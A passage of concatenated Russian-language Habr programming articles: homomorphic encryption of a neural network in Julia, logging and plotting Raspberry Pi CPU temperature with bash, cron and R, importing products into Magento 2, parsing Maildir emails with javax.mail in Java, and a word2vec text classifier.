function matmul_reorderd(weights, x)
sum(partition(1:256, 64)) do range
matmul_square_reordered(weights[:, range], x[range, :])
end
end
fc1_weights = model.layers[3].W
x = rand(Float64, 256, 64)
@assert (fc1_weights*x) ≈ matmul_reorderd(fc1_weights, x)
```
Конечно, для общего матричного умножения потребуется что-то посложнее, но пока этого достаточно.
Улучшаем методику
-----------------
Теперь все компоненты нашей методики работают. Вот код целиком (за исключением настройки параметров выбора и подобных вещей):
```
ek = keygen(EvalMultKey, kp.priv)
gk = keygen(GaloisKey, kp.priv; steps=64)
Iᵢⱼ = public_preprocess(batch)
C_Iᵢⱼ = map(Iᵢⱼ) do Iij
plain = CKKSEncoding{Tscale}(zero(plaintext_space(ckks_params)))
plain .= OffsetArray(vec(Iij), 0:(N÷2-1))
encrypt(kp, plain)
end
weights = model.layers[1].weight
conv_weights = reverse(reverse(weights, dims=1), dims=2)
conved3 = [sum(C_Iᵢⱼ[i,j]*conv_weights[i,j,1,channel] for i=1:7, j=1:7) for channel = 1:4]
conved2 = map(((x,b),)->x .+ b, zip(conved3, model.layers[1].bias))
conved1 = map(ToyFHE.modswitch, conved2)
Csqed1 = map(x->x*x, conved1)
Csqed1 = map(x->keyswitch(ek, x), Csqed1)
Csqed1 = map(ToyFHE.modswitch, Csqed1)
function encrypted_matmul(gk, weights, x::ToyFHE.CipherText)
result = repeat(diag(weights), inner=64).*x
rotated = x
for k = 2:64
rotated = ToyFHE.rotate(gk, rotated)
result += repeat(diag(circshift(weights, (0,(k-1)))), inner=64) .* rotated
end
result
end
fq1_weights = model.layers[3].W
Cfq1 = sum(enumerate(partition(1:256, 64))) do (i,range)
encrypted_matmul(gk, fq1_weights[:, range], Csqed1[i])
end
Cfq1 = Cfq1 .+ OffsetArray(repeat(model.layers[3].b, inner=64), 0:4095)
Cfq1 = modswitch(Cfq1)
Csqed2 = Cfq1*Cfq1
Csqed2 = keyswitch(ek, Csqed2)
Csqed2 = modswitch(Csqed2)
function naive_rectangular_matmul(gk, weights, x)
@assert size(weights, 1) < size(weights, 2)
weights = vcat(weights, zeros(eltype(weights), size(weights, 2)-size(weights, 1), size(weights, 2)))
encrypted_matmul(gk, weights, x)
end
fq2_weights = model.layers[4].W
Cresult = naive_rectangular_matmul(gk, fq2_weights, Csqed2)
Cresult = Cresult .+ OffsetArray(repeat(vcat(model.layers[4].b, zeros(54)), inner=64), 0:4095)
```
Выглядит не слишком аккуратно, но если ты всё это сделал, то должен понимать каждый шаг.
Теперь давайте подумаем, какие абстракции могли бы упростить нам жизнь. Мы покидаем область картографии и машинного обучения и переходим к архитектуре языка программирования, поэтому давайте воспользуемся тем, что Julia позволяет использовать и создавать мощные абстракции. Например, можно инкапсулировать весь процесс извлечения свёрток в свой тип массива:
```
using BlockArrays
"""
ExplodedConvArray{T, Dims, Storage} <: AbstractArray{T, 4}
Represents a an `nxmx1xb` array of images, but rearranged into a
series of convolution windows. Evaluating a convolution compatible
with `Dims` on this array is achievable through a sequence of
scalar multiplications and sums on the underling storage.
"""
struct ExplodedConvArray{T, Dims, Storage} <: AbstractArray{T, 4}
# sx*sy matrix of b*(dx*dy) matrices of extracted elements
# where (sx, sy) = kernel_size(Dims)
# (dx, dy) = output_size(DenseConvDims(...))
cdims::Dims
x::Matrix{Storage}
function ExplodedConvArray{T, Dims, Storage}(cdims::Dims, storage::Matrix{Storage}) where {T, Dims, Storage}
@assert all(==(size(storage[1])), size.(storage))
new{T, Dims, Storage}(cdims, storage)
end
end
Base.size(ex::ExplodedConvArray) = (NNlib.input_size(ex.cdims)..., 1, size(ex.x[1], 1))
function ExplodedConvArray{T}(cdims, batch::AbstractArray{T, 4}) where {T}
x, y = NNlib.output_size(cdims)
kx, ky = NNlib.kernel_size(cdims)
stridex, stridey = NNlib.stride(cdims)
kax = OffsetArray(0:x-1, 0:x-1)
kay = OffsetArray(0:x-1, 0:x-1)
I = [[batch[i′*stridex .+ (1:kx), j′*stridey .+ (1:ky), 1, k] for i′=kax, j′=kay] for k = 1:size(batch, 4)]
Iᵢⱼ = [[I[k][l...][i,j] for k=1:size(batch, 4), l=product(kax, kay)] for (i,j) in product(1:kx, 1:ky)]
ExplodedConvArray{T, typeof(cdims), eltype(Iᵢⱼ)}(cdims, Iᵢⱼ)
end
function NNlib.conv(x::ExplodedConvArray{<:Any, Dims}, weights::AbstractArray{<:Any, 4}, cdims::Dims) where {Dims<:ConvDims}
blocks = reshape([ Base.ReshapedArray(sum(x.x[i,j]*weights[i,j,1,channel] for i=1:7, j=1:7), (NNlib.output_size(cdims)...,1,size(x, 4)), ()) for channel = 1:4 ],(1,1,4,1))
BlockArrays._BlockArray(blocks, BlockArrays.BlockSizes([8], [8], [1,1,1,1], [64]))
end
```
Здесь мы снова использовали `BlockArrays` для представления массива `8x8x4x64` в виде четырёх массивов `8x8x1x64` как в исходном коде. Теперь представление первого этапа стало гораздо красивее, хотя бы при незашифрованных массивах:
```
julia> cdims = DenseConvDims(batch, model.layers[1].weight; stride=(3,3), padding=(0,0,0,0), dilation=(1,1))
DenseConvDims: (28, 28, 1) * (7, 7) -> (8, 8, 4), stride: (3, 3) pad: (0, 0, 0, 0), dil: (1, 1), flip: false
julia> a = ExplodedConvArray{eltype(batch)}(cdims, batch);
julia> model(a)
10×64 Array{Float32,2}:
[snip]
```
Теперь как нам это соединить с шифрованием? Для этого нужно:
1. Зашифровать структуру (`ExplodedConvArray`) так, чтобы мы получали шифротекст для каждого поля. Операции с такой зашифрованной структурой будут поверять, что сделала бы функция с исходной структурой, и делать то же самое гомоморфно.
2. Перехватывать определённые операции, чтобы по-другому выполнять их в зашифрованном контексте.
К счастью, Julia предоставляет нам для этого абстракцию: плагин для компилятора, который использует механизм [Cassette.jl](https://github.com/jrevels/Cassette.jl). Что это такое и как работает я рассказывать не буду, вкратце скажу, что он может определять контекст, например, `Encrypted`, а затем определяет правила, как должны работать операции в этом контексте. Например, так можно написать для второго требования:
```
# Define Matrix multiplication between an array and an encrypted block array
function (*::Encrypted{typeof(*)})(a::Array{T, 2}, b::Encrypted{<:BlockArray{T, 2}}) where {T}
sum(a*b for (i,range) in enumerate(partition(1:size(a, 2), size(b.blocks[1], 1))))
end
# Define Matrix multiplication between an array and an encrypted array
function (*::Encrypted{typeof(*)})(a::Array{T, 2}, b::Encrypted{Array{T, 2}}) where {T}
result = repeat(diag(a), inner=size(a, 1)).*x
rotated = b
for k = 2:size(a, 2)
rotated = ToyFHE.rotate(GaloisKey(*), rotated)
result += repeat(diag(circshift(a, (0,(k-1)))), inner=size(a, 1)) .* rotated
end
result
end
```
В результате пользователь сможет писать всё вышеприведённое с минимальным количеством ручной работы:
```
kp = keygen(ckks_params)
ek = keygen(EvalMultKey, kp.priv)
gk = keygen(GaloisKey, kp.priv; steps=64)
# Create evaluation context
ctx = Encrypted(ek, gk)
# Do public preprocessing
batch = ExplodedConvArray{eltype(batch)}(cdims, batch);
# Run on encrypted data under the encryption context
Cresult = ctx(model)(encrypt(kp.pub, batch))
# Decrypt the answer
decrypt(kp, Cresult)
```
Конечно, даже этого может быть недостаточно. Параметры криптосистемы (то есть кольцевое ℛ, когда применять modswitch, keyswitch и т.д.) отражают компромисс между точностью ответа и производительностью, и сильно зависят от исполняемого кода. Хотелось бы, чтобы компилятор проанализировал код, который он собирается запустить, предложил параметры для заданного уровня безопасности и желаемой точности, а затем сгенерировал код с минимальным ручным вмешательством.
Заключение
----------
Достижение мечты об автоматическом и безопасном выполнении произвольных вычислений — это сложная задача для любой системы. Но возможности метапрограммирования в Julia и дружелюбный синтаксис делают этот инструмент подходящей платформой для разработки. Коллаборация RAMPARTS ([paper](https://eprint.iacr.org/2019/988.pdf), [JuliaCon talk](https://www.youtube.com/watch?v=_KLlMg6jKQg)) уже сделал первые шаги в этом направлении: простой Julia-код компилируется в полно-гомогенной библиотеке PALISADE. Julia Computing сотрудничает с экспертами RAMPARTS в работе над Verona, [недавно анонсированной](https://galois.com/news/15m-iarpa-hector-contract-privacy-preserving-technology/) версией этой системы следующего поколения. В последний год производительность гомоморфных систем шифрования позволяет оценивать интересные вычисления со скоростью, которая близка уровню практической применимости. Врата открыты. С новыми разработками в алгоритмах, ПО и оборудовании, гомоморфное шифрование однозначно станет основной технологией защиты приватности миллионов пользователей.
Если вы хотите подробнее разобраться в этом вопросе, то посмотрите [репозиторий ToyFHE](https://github.com/JuliaComputing/ToyFHE.jl). Ещё есть [документация](https://juliacomputing.github.io/ToyFHE.jl/dev/man/background/), которая, как я надеюсь, станет приемлемым введением в относящуюся к данной теме криптографию. | https://habr.com/ru/post/478514/ | null | ru | null |
# Визуализируем в R данные мониторинга температуры процессора Raspberry PI Zero W
Для автоматического обновления данных в рамках [небольшого проекта по визуализации погоды в регионах РФ](https://teletype.in/@weekly_charts/YodM2Y8SNmM) используется скрипт на языке R, который выполняется по расписанию (ежедневно каждые три часа) на моём маленьком домашнем устройстве — Raspberry PI Zero W.
Маленький домашний помощник, работающий в режиме 24/7**Исходные данные:** [cpu\_temp.log](https://disk.yandex.ru/d/b6Qu6RSAUGXqLg)
В этот раз мы будем визуализировать данные поминутного изменения температуры процессора Raspberry PI, которые сохраняются в специальным лог-файле c помощью bash-скрипта:
```
#!/bin/bash
date +"%d.%m.%Y %T" | tr '\n' '\t' >> /home/pi/cpu_temp.log ; vcgencmd measure_temp| tr -d "temp=" | tr -d "'C" >> /home/pi/cpu_temp.log
```
Для запуска bash-скрипта по расписанию через cron была добавлена запись (каждую минуту):
`*/1 * * * * ~/cpu_temp.sh`
В результате выполнения скрипта данные о температуре процессора сохраняются в лог:
Эти данные мы и будем визуализировать с помощью R ([cpu\_temp.R](https://disk.yandex.ru/d/NgkCtteoZ-fPag)), а на график вставим лого Raspberry PI: <https://disk.yandex.ru/d/dP16Vwq9sH6RNQ>
```
library(tidyverse)
library(readr)
library(geomtextpath)
library(glue)
library(here)
# Загружаем логотип Raspberry Pi
png <- magick::image_read("raspberrypi-logo.png")
img <- grid::rasterGrob(png, interpolate = TRUE)
# Загружаем данные (лог температуры)
cpu_temp <- read_delim(
"cpu_temp.log",
delim = "\t",
col_names = c("datetime", "cpu_temp"),
trim_ws = TRUE) %>%
mutate(datetime = lubridate::as_datetime(datetime,
"%d.%m.%Y %H:%M:%S",
tz = "Asia/Yekaterinburg"))
# Временной интервал для графика -- последние 3 часа из лога
last_datetime <- cpu_temp$datetime[length(cpu_temp$datetime)]
first_datetime <- last_datetime - lubridate::hours(3)
# Описательные для графика (мин, макс, среднее)
maxTempCPU <- max(cpu_temp$cpu_temp[between(cpu_temp$datetime,
first_datetime, last_datetime)])
minTempCPU <- min(cpu_temp$cpu_temp[between(cpu_temp$datetime,
first_datetime, last_datetime)])
meanTempCPU_period <-
round(mean(cpu_temp$cpu_temp[between(cpu_temp$datetime,
first_datetime, last_datetime)]), 1)
# для вставки лого
mt <- ceiling(max(cpu_temp$cpu_temp))
mt_min <- floor(min(cpu_temp$cpu_temp))
x_max <- last_datetime + lubridate::minutes(25)
x_min <- last_datetime + lubridate::minutes(10)
cpu_temp %>%
filter(between(datetime, first_datetime, last_datetime)) %>%
ggplot(aes(datetime, cpu_temp)) +
annotation_custom(
img,
ymin = mt ,
ymax = mt + 8.25,
xmin = x_min,
xmax = x_max
) +
geom_texthline(
yintercept = mean(cpu_temp$cpu_temp),
size = 3.75,
linetype = "dashed",
linewidth = 0.25,
label = glue("Среднее за всё время: **{round(mean(cpu\_temp$cpu\_temp),1)}**°C"),
hjust = 0.985,
vjust = -0.2,
color = "gray70",
rich = TRUE
) +
geom_texthline(
yintercept = meanTempCPU_period,
size = 3.75,
linewidth = 0.25,
label = glue("Среднее за 3 часа: **{meanTempCPU\_period}**°C"),
hjust = 0.985,
vjust = -0.2,
color = "gray70",
rich = TRUE
) +
geom_step(color = "gray10") +
scale_y_continuous(
breaks = seq(mt_min, mt + 1, 2),
limits = c(mt_min, mt + 1),
labels = c(as.character(seq(mt_min, mt - 1, 2)),
glue::glue("{mt + 1}°C"))
) +
scale_x_datetime(
"Время",
date_breaks = "30 min",
date_labels = "%H:%M",
expand = c(0.15, 0)
) +
labs(
title = "Температура процессора Raspberry Pi Zero W",
subtitle = glue(
"Поминутное изменение температуры за последние 3 часа\n",
"{format(first_datetime, format = '%d %b %H:%M')} - {format(last_datetime, format = '%H:%M')}",
" | Мин {minTempCPU}°C | Среднее {meanTempCPU_period}°C | Макс {maxTempCPU}°C"
),
x = "Время",
y = ""
) +
coord_cartesian(clip = "off") +
theme(text = element_text(family = "Open Sans"),
panel.background = element_blank(),
axis.title.x = element_text(size = 14),
plot.margin = margin(25, 30, 10, 12),
plot.title.position = "plot",
plot.subtitle = element_text(size = 12, color = "gray60"),
title = element_text(size = 16),
axis.text.y = element_text(size = 12),
axis.text.x = element_text(size = 12)
)
ggsave(
glue("img/cpu_temp_{format(last_datetime, '%d_%m_%Y_%H_%M')}.png"),
dpi = 300,
scale = 1.5
)
```
Финальный график выглядит так:
Для запуска скрипта каждые три часа создадим задачу в cron:
`0 */3 * * * Rscript /home/pi/cpu_temp/cpu_temp_pi.R`
Полученный график будем отправлять себе в телеграм через телеграм-бота (см. отличный [туториал по созданию ботов в R](https://habr.com/ru/post/511222/)) для отправки личных уведомлений простой командой в конце нашего скрипта:
```
bot$sendPhoto(chat_id,
photo = glue("~/cpu_temp/img/cpu_temp_{format(last_datetime, '%d_%m_%Y_%H_%M')}.png")
)
```
Сообщения с графиком от бота**PS:** для быстрой установки R последней версии без необходимости компиляции основных пакетов рекомендую воспользоваться информацией из [проекта R4Pi](https://r4pi.org). | https://habr.com/ru/post/689522/ | null | ru | null |
# Magento 2: импорт продуктов из внешних источников
Magento является e-commerce решением, т.е. больше нацелено на продажу продуктов, чем на сопутствующий продажам складской, логистический или финансовый учёт. Для сопутствующего лучше подходят другие приложения (например, ERP-системы). Поэтому достаточно часто в практике использования Magento возникает задача интеграции магазина с этими другими системами (например, с 1С).
По большому счёту интеграцию можно свести к репликации данных по:
* каталогу (продукты, категории);
* инвентарным данным (остатки продуктов на складах и цены);
* клиентам;
* заказам;
Magento для манипуляции с данными в базе предлагает отдельный класс объектов — [репозитории](https://devdocs.magento.com/guides/v2.3/extension-dev-guide/service-contracts/design-patterns.html#repository-interfaces). В силу специфики Magento добавление данных в базу через репозитории легко кодируется, но происходит, скажем так, небыстро. В данной публикации я рассматриваю основные этапы программного добавления в Magento 2 продукта "классическим" способом — с использованием репо-классов.
Клиенты и заказы реплицируются, обычно, в другую сторону — из Magento во внешние ERP-системы. Поэтому с ними попроще, на стороне Magento нужно просто выбрать соответствующие данные, а дальше — "*с нашей стороны пули вылетели*".
Принципы записи данных в базу
-----------------------------
На данный момент создание сохраняемых в базе объектов программным способом в Magento делается через [Factory](https://devdocs.magento.com/guides/v2.3/extension-dev-guide/factories.html):
```
function __construct (\Magento\Cms\Model\BlockFactory $blockFactory) {
$this->blockFactory = $blockFactory;
}
/** @var \Magento\Cms\Model\Block $block */
$block = $this->blockFactory->create();
```
а запись в базу — через [Repository](https://devdocs.magento.com/guides/v2.3/extension-dev-guide/service-contracts/design-patterns.html#repository-interfaces):
```
function __construct (\Magento\Cms\Api\BlockRepositoryInterface $blockRepo) {
$this->blockRepo = $blockRepo;
}
$this->blockRepo->save($block);
```
Подход с использованием "Factory" и "Repository" можно использовать для всех основных моделей в предметной области Magento 2.
Базовая информация о продукте
-----------------------------
Я рассматриваю структуру данных, соответствующую версии Magento 2.3. Самая основная информация о продукте находится в таблице `catalog_product_entity` (реестр продуктов):
```
entity_id
attribute_set_id
type_id
sku
has_options
required_options
created_at
updated_at
```
Ограничиваюсь одним типом продукта (`type_id='simple'`), набором атрибутов по-умолчанию (`attribute_set_id=4`) и игнорирую атрибуты `has_options` и `required_options`. Так как атрибуты `entity_id`, `created_at` и `updated_at` генерируются автоматически, то, по сути дела, нам для добавления нового продукта достаточно задать `sku`. Делаю так:
```
/** @var \Magento\Catalog\Api\Data\ProductInterfaceFactory $factProd */
/** @var \Magento\Catalog\Api\ProductRepositoryInterface $repoProd */
/** @var \Magento\Catalog\Api\Data\ProductInterface $prod */
$prod = $factProd->create();
$prod->setAttributeSetId(4);
$prod->setTypeId('simple');
$prod->setSku($sku);
$repoProd->save($prod);
```
и получаю исключение:
```
The "Product Name" attribute value is empty. Set the attribute and try again.
```
Добавляю в запрос имя продукта и получаю сообщение, что не хватает атрибута `Price`. После добавления цены продукт ложится в базу:
```
$prod = $factProd->create();
$prod->setAttributeSetId(4);
$prod->setTypeId('simple');
$prod->setSku($sku);
$prod->setName($name);
$prod->setPrice($price);
$repoProd->save($prod);
```
Название продукта сохраняется в таблице varchar-атрибутов продукта (`catalog_product_entity_varchar`), цена — в таблице `catalog_product_entity_decimal`. Перед добавлением продукта желательно в явном виде указать, что мы используем административную витрину для импорта данных:
```
/** @var \Magento\Store\Model\StoreManagerInterface $manStore */
$manStore->setCurrentStore(0);
```
### Дополнительные атрибуты
Обработка дополнительных атрибутов продуктов средствами Magento — одно удовольствие. EAV-модель данных для основных сущностей (см. таблицу `eav_entity_type`) — одна из ключевых особенностей этой платформы. Просто добавляем соответствующие атрибуты к модели продукта:
```
$prodEntity->setData('description', $desc);
$prodEntity->setData('short_description', $desc_short);
// или
$prodEntity->setDescription($desc);
$prodEntity->setShortDescription($desc_short);
```
и при сохранении модели через репо-объект :
```
$repoProd->save($prod);
```
дополнительные атрибуты будут также сохранены в соответствующих таблицах БД.
Инвентарные данные
------------------
По-простому — количество продукта на складе. В Magento 2.3 структуры в БД, описывающие формат хранения инвентарных данных, [значимо отличаются](https://devdocs.magento.com/guides/v2.3/inventory/) от того, что было ранее. Тем не менее, добавление количества продукта на складе через модель продукта не намного сложнее, чем добавление других атрибутов:
```
/** @var \Magento\Catalog\Model\Product $prodEntity */
/** @var \Magento\Catalog\Api\ProductRepositoryInterface $repoProd */
$inventory = [
'is_in_stock' => true,
'qty' => 1234
];
$prodEntity->setData('quantity_and_stock_status', $inventory);
$repoProd->save($prodEntity);
```
Медиа
-----
Как правило, медиа-сопровождение продукта для клиента в магазине (e-commerce) отличается от медиа-сопровождения этого же продукта для сотрудника во внутренней системе учёта (ERP). В первом случае желательно показать "товар лицом", во втором — достаточно дать общее представление о продукте. Тем не менее, перенос хотя бы первичного изображения продукта — достаточно распространённый `case` при импорте данных.
При добавлении изображения через админку картинка сначала сохраняется во временном каталоге (`./pub/media/tmp/catalog/product`) и только при сохранении продукта перемещается в медиа-каталог (`./pub/media/catalog/product`). Также при добавлении через админку изображению выставляются теги `image`, `small_image`, `thumbnail`, `swatch_image`.
```
/** @var \Magento\Catalog\Api\ProductRepositoryInterface $repoProd */
/** @var \Magento\Catalog\Model\Product\Gallery\CreateHandler $hndlGalleryCreate */
/* $imagePath = '/path/to/file.png'; $imagePathRelative = '/f/i/file.png' */
$imagePathRelative = $this->imagePlaceToTmpMedia($imagePath);
/* reload product with gallery data */
$product = $repoProd->get($sku);
/* add image to product's gallery */
$gallery['images'][] = [
'file' => $imagePathRelative,
'media_type' => 'image'
'label' => ''
];
$product->setData('media_gallery', $gallery);
/* set usage areas */
$product->setData('image', $imagePathRelative);
$product->setData('small_image', $imagePathRelative);
$product->setData('thumbnail', $imagePathRelative);
$product->setData('swatch_image', $imagePathRelative);
/* create product's gallery */
$hndlGalleryCreate->execute($product);
```
Почему-то медиа подвязывается только после предварительного сохранения продукта и получения его из репозитория заново. И нужно указывать атрибут `label` при добавлении записи в медиа-галерею продукта (иначе получаем исключение `Undefined index: label in .../module-catalog/Model/Product/Gallery/CreateHandler.php on line 516`).
Категории
---------
Зачастую структура категорий магазина и backend-приложения или размещение в них продуктов может значительно различаться. Стратегии переноса данных о категориях и продуктах в них зависят от множества факторов. В данном примере я придерживаюсь следующей:
* категории backend'а и магазина сопоставляются по названию;
* если импортируется категория, которой нет в магазине, то она создаётся под корневой категорией (`Default Category`) и её дальнейшее позиционирование в каталоге магазина предполагается вручную;
* привязка продукта к категории происходит только при его создании в магазине (первом импорте);
Основная информация о категории находится в таблице `catalog_category_entity` (каталог категорий). Создание категории в Magento:
```
/** @var \Magento\Catalog\Api\Data\CategoryInterfaceFactory $factCat */
/** @var \Magento\Catalog\Api\CategoryRepositoryInterface $repoCat */
$cat = $factCat->create();
$cat->setName($name);
$cat->setIsActive(true);
$repoCat->save($cat);
```
Привязка продукта к категории осуществляется по ID категории и SKU продукта:
```
/** @var \Magento\Catalog\Model\CategoryProductLinkFactory $factCatProdLink */
/** @var \Magento\Catalog\Api\CategoryLinkRepositoryInterface $repoCatLink */
$link = $factCatProdLink->create();
$link->setCategoryId($catMageId);
$link->setSku($prodSku);
$repoCatLink->save($link);
```
Итого
-----
Написать код для добавления в Magento 2 продукта программным путём весьма несложно. Всё изложенное выше я свёл в демо-модуль "[flancer32/mage2\_ext\_demo\_import](https://github.com/flancer32/mage2_ext_demo_import)". В модуле всего одна консольная команда `fl32:import:prod`, которая импортирует продукты, описанные в JSON-файле "[./etc/data/products.json](https://github.com/flancer32/mage2_ext_demo_import/blob/master/etc/data/products.json)":
```
[
{
"sku": "...",
"name": "...",
"desc": "...",
"desc_short": "...",
"price": ...,
"qty": ...,
"categories": ["..."],
"image_path": "..."
}
]
```
Картинки для импорта находятся в каталоге `./etc/data/img`.
Время импорта 10 продуктов подобным способом составляет порядка 10 секунд на моём ноутбуке. Если развивать эту мысль дальше, то несложно прийти к выводу, что в час можно импортировать порядка 3600 продуктов, а на импорт 100К продуктов может уйти порядка 30 часов. Замена ноутбука на сервер позволяет несколько сгладить ситуацию. Может быть даже в разы. Но не на порядки. Возможно эта ~~скорость~~ медленность в какой-то мере является одной из причин появления проекта [magento/async-import](https://github.com/magento/async-import).
Кардинальным решением для увеличения скорости импорта может стать прямая запись в базу, но в этом случае теряются все "плюшки", касающиеся расширяемости Magento — придётся всё "расширенное" делать самому. Тем не менее, оно того стоит. Если получится, то рассмотрю подход с прямой записью в БД в следующей статье. | https://habr.com/ru/post/436020/ | null | ru | null |
# Разбираем email в Java
К моему последнему проекту, написанному на 80% на Java, надо было дописать модуль — парсер всех писем, проходящих через сервер. Религиозные мотивы модуля очень странные, но некоторыми деталями хотелось бы поделиться.
###### **В наличии имеются:**
Почтовый сервер Postfix со службой доставки Dovecot на CentOS. Ну и JVM.
###### **Структура сообщений**
Что такое электронное письмо, его составные части, их примерная структура, заголовки и MIME типы по-человечески описано на [википедии](http://ru.wikipedia.org/wiki/%D0%AD%D0%BB%D0%B5%D0%BA%D1%82%D1%80%D0%BE%D0%BD%D0%BD%D0%B0%D1%8F_%D0%BF%D0%BE%D1%87%D1%82%D0%B0).
Более интересной является структура имени ~~файла~~ письма на сервере. Пример имени новоиспеченного (не прочитанного/не запрошенного клиентом) письма:
```
1348142977.M852516P31269.mail.example.com,S=3309,W=3371
```
Имя состоит из флагов. Флаги разделяются запятыми, при создании нового письма указывается «куда», «когда» пришло письмо и его размеры.
* Указываются два размера письма. Обычный Size, обозначенный «S» и Vsize, обозначенный символом «W», что есть rfc822.SIZE. ([Тут](http://marc.info/?l=imap&m=109097194218047) отвечают на вопрос «Что такое RFC822.SIZE?» ).
* Время указывается в формате Unix, в секундах.
* В одном флаге со временем, через точку, могут идти «P» — ID процесса и «M» — счетчик в микросекундах, добавляемый для уникальности имени (могут быть и другие атрибуты, дополнительно в примечаниях)
* Сервер указывается конечный, т.е. тот, на котором хранится письмо, а не relay-сервер в случае, если письмо было переслано.
Из этого полезным для меня было время создания письма (первые десять цифр). Однако, зачастую это время может отличаться от времени в заголовке письма, поэтому время в имени я использовал только для фильтрации сообщений в директории.
###### **Дополнительные/клиентские флаги**
Клиентский почтовый интерфейс (далее клиент) может добавлять в имя письма свои флаги. Начало клиентских флагов обозначается символом ":"
Как только клиент ~~доберется~~ запросит новые письма с сервера — отправляется запрос транспорту на перемещение каждого из запрошенных писем в директорию «прочитанные» и добавление к имени информационного флага (одного из двух), отделенного от последующих флагов запятой:
* «1» — как говорит документация «Флаг, несущий экспериментальный смысл».
* «2» — то, что у меня на практике было в 100% случаях. Означает то, что каждый последующий символ после запятой, является отдельным флагом.
Не смотря на то, что письмо на сервере уже лежит в папке «прочитанное», у пользователя оно будет отображаться как новое, т.к. клиенты считывают флаги, а не местонахождение письма.
То есть, только тогда, когда пользователь сам откроет письмо (либо другое действие с ним) и к его имени добавится флаг «S» (Seen), оно станет визуально «прочитанным». Различные действия над письмом, как и следовало бы ожидать, добавляют свои флаги, см. примечания.
**Пример:**
На сервер для нашего ящика пришло новое сообщение, его имя будет иметь приблизительно следующий вид:
```
1348142977.M852516P31269.mail.example.com,S=3309,W=3371
```
У нас на фоне запущен ~~не дай Бог~~ Outlook, который запрашивает список новых писем и говорит переместить их на сервере в директорию «прочитанные», добавляя при этом флаг:
```
1348142977.M852516P31269.mail.example.com,S=3309,W=3371:2,
```
Далее мы ~~удаляем~~ открываем Outlook и щелкаем на новое письмо, при этом добавляется флаг S:
```
1348142977.M852516P31269.mail.example.com,S=3309,W=3371:2,S
```
А потом еще отвечаем на него и удаляем:
```
1348142977.M852516P31269.mail.example.com,S=3309,W=3371:2,SRT
```
Как мы видим, флаги перечисляются без разделителей.
Примечания: некоторые клиенты имеют возможность настройки (не)перемещения письма в папку «прочитанное». Так же клиенты иногда добавляют не указанные в документации флаги «для своих нужд», на которые я особо не обращал внимания.
Больше полезной информации о флагах: [cr.yp.to/proto/maildir.html](http://cr.yp.to/proto/maildir.html)
###### **И немного Джавы**
Для работы с письмами я использовал [javax.mail](http://www.oracle.com/technetwork/java/javamail/index.html). Нам любезно предоставлен абстрактный класс [javax.mail.Message](http://docs.oracle.com/javaee/6/api/javax/mail/Message.html), хотя в данном случае я ограничился [javax.mail.MimeMessage](http://javamail.kenai.com/nonav/javadocs/javax/mail/internet/MimeMessage.html).
Модуль крутится на сервере, поэтому к сообщениям обращаемся локально (проверки и обработки исключений в коде опущены):
```
// в примере properties оставляю дефолтными
Session session = Session.getDefaultInstance(System.getProperties());
FileInputStream fis = new FileInputStream(pathToMessage);
MimeMessage mimeMessage = new MimeMessage(session, fis);
```
Теперь мы можем считать заголовки письма, которые ожидаются в ASCII. Если заголовок не найден, то нам вернется null. Например:
```
String messageSubject = mimeMessage.getSubject();
String messageId = mimeMessage.getMessageID();
```
Для определения списка получателей нам предоставлен метод getRecipients, принимающий в качестве аргумента Message.RecipientType. Метод возвращает массив объектов типа [Address](http://docs.oracle.com/javaee/5/api/javax/mail/Address.html). Например, выведем список получателей письма:
```
for(Address recipient : mimeMessage.getRecipients(Message.RecipientType.TO)){
System.out.println(recipient.toString());
}
```
Что-бы узнать отправителя(ей) письма, у нас есть метод getFrom. Так же возвращает массив объектов типа Address. Метод считывает заголовок «From», если тот отсутствует — читает заголовок «Sender», если отсутствует и «Sender» — тогда null.
```
for(Address sender : mimeMessage.getFrom()){
System.out.println(sender.toString());
}
```
Далее разберем тело сообщения (в большинстве случаев нам нужен текст и вложения). Оно может быть составным (Mime multipart message), либо содержать только один блок формата text/plain. Если тело письма состоит только из вложения (без текста), оно все равно помечается как multipart message. По RFC822 формат указывается для тела письма (и его частей) в заголовке Content-Type.
```
// Если контент письма состоит из нескольких частей
if(mimeMessage.isMimeType("multipart/mixed")){
// getContent() возвращает содержимое тела письма, либо его части.
// Возвращаемый тип - Object, делаем каст в Multipart
Multipart multipart = (Multipart) mimeMessage.getContent();
// Перебираем все части составного тела письма
for(int i = 0; i < multipart.getCount(); i ++){
BodyPart part = multipart.getBodyPart(i);
//Для html-сообщений создается две части, "text/plain" и "text/html" (для клиентов без возможности чтения html сообщений), так что если нам не важна разметка:
if(part.isMimeType("text/plain")){
System.out.println(part.getContent().toString());
}
// Проверяем является ли part вложением
else if(Part.ATTACHMENT.equalsIgnoreCase(part.getDisposition()){
// Опускаю проверку на совпадение имен. Имя может быть закодировано, используем decode
String fileName = MimeUtility.decodeText(part.getFileName());
// Получаем InputStream
InputStream is = part.getInputStream();
// Далее можем записать файл, или что-угодно от нас требуется
....
}
}
}
// Сообщение состоит только из одного блока с текстом сообщения
else if(mimeMessage.isMimeType("text/plain")){
System.out.println(mimeMessage.getContent().toString());
}
```
Вот, собственно, и все. Надеюсь, что материал может быть полезным.
Так же на oracle.com есть полезный [FAQ](http://www.oracle.com/technetwork/java/faq-135477.html) по javax.mail.
**UPD:** Как говорится в первом комментарии, части тела сообщения могут быть вложены друг в друга. Там же, в комментариях, выложены два способа их перебрать. | https://habr.com/ru/post/153415/ | null | ru | null |
# Классификатор на word2vec
После недавнего диалога возник вопрос поиска классификаторов, способных работать с текстами на русском языке без костылей в виде сборки watson-го NLC и bing translator-а. Решено было свелосипедить макет. За основу взят word2vec для получения векторного представления примеров и пользовательского ввода. Больше примеров работы с ним можно найти, например — [тут](https://habrahabr.ru/post/249215/). Кстати, вопрос более опытным — нет ли более подходящей альтернативы? Классифицировать объемные тексты не планируется. Напомню, что word2vec позволяет получать векторное представление переданного слова (к полученным векторам можно применить сложение/вычитание и умножение на численный коофициент). При этом вектор будет в пространстве, в котором в качестве осей — применим «связанные» слова.
Код на <https://github.com/alex4321/word2vec-nlc>. Написан с применением [gensim](https://radimrehurek.com/gensim/index.html). Применялась эта модель (работающая с английским языком) [GoogleNews-vectors-negative300.bin.gz](https://drive.google.com/file/d/0B7XkCwpI5KDYNlNUTTlSS21pQmM/edit?usp=sharing).
